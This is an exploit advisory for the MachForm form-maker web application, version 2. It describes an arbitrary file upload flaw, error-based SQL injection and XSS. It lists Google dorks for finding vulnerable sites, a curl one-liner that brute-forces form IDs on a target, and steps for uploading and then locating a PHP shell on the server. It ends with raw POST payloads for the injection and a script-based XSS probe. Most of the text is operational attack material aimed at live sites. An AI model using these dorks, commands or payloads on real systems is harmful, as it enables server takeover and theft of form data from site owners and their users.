94 lines
No EOL
3.9 KiB
Text
94 lines
No EOL
3.9 KiB
Text
###########################################################################################
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# Exploit Title: Machform form maker - Multiple Vulnerabilities
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# Date: 2013 17 June
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# Exploit Author: Yashar shahinzadeh
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# Credit goes for: ha.cker.ir
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# Vendor Homepage: http://www.appnitro.com
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# Tested on: Linux & Windows, PHP 5.2.9
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# Affected Version : 2
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# Special thanks to: Mormoroth
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# Dork1: "Powered by MachForm" id=
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# Dork2: formularios/view.php?id=
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# Dork3: inurl:machform/view.php?id=
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#
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# Demonstration clip: http://y-shahinzadeh.ir/tutorial/machform.rar
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# Contacts: { http://Twitter.com/YShahinzadeh , http://Twitter.com/Mormoroth }
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###########################################################################################
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Summary:
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========
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1. Arbitrary file upload
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2. MySQL Injection (Error based) and XSS
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1. Arbitrary file upload:
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=========================
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...
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...
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if(!empty($uploaded_files)){
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foreach ($uploaded_files as $element_name){
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if(empty($form_review)){
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//move file and check for invalid file
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$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}";
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if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
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$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
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$query = "update ap_form_{$form_id} set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
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do_query($query);
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}
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}else{
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//for form with review enabled, append .tmp suffix to all uploaded files
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//move file and check for invalid file
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$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}.tmp";
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if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
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$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
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$query = "update ap_form_{$form_id}_review set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
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do_query($query);
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}
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if(!empty($uploaded_file_lookup[$element_name])){
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unset($uploaded_file_lookup[$element_name]);
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}
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}
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}
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}
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...
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...
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Exploit:
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In beginning, the hacker must aim view.php located at the root of site, observing the lines inside of mentioned file would be a big lead to disclosure of vulnerability:
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$input_array = ap_sanitize_input($_POST);
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$submit_result = process_form($input_array);
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These two lines have functions leading to have both MySQL injection and Arbitrary file upload vulnerability. I’m not going to audit codes, I may just illustrate the attack started by applying brute-force procedure on ID parameter so as to find a form consisting file upload form, it can be achieved by any program, I just issued a Linux command helped me find it properly:
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seq 1 500 | xargs -I XX -P32 curl -s http://target/view.php=XX -o XX.out
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grep “type=\”file\”" *.out
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Afterwards, an HTML element followed by “for=”(.*)” must be specified, picture below gives better concept:
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http://blog.y-shahinzadeh.ir/posts-images/machform/7.jpg
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All have to be done is uploading PHP shell, and trying to find its name on server. The file will be uploaded in the path:
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http://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php
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In URL above, [ID] is gathered in brute-force phase, [element name] is gathered by viewing HTML source, and [mysql_insert_id()] should be brute-forced again. Being relatively difficult, I’ve recorded a clip demonstrating what I’ve said:
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http://y-shahinzadeh.ir/tutorial/machform.rar
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2. MySQL Injection (Error based) and XSS:
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=========================================
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...
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...
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$input_array = ap_sanitize_input($_POST);
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...
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...
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Exploit (POST to view.php after finding HTML elements):
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element_1=1&element_2=’&element_3=1&form_id=11&submit=1
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element_1=1&element_2=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28949236%29%3c%2fScRiPt%3e&element_3=1&form_id=11&submit=Enviar |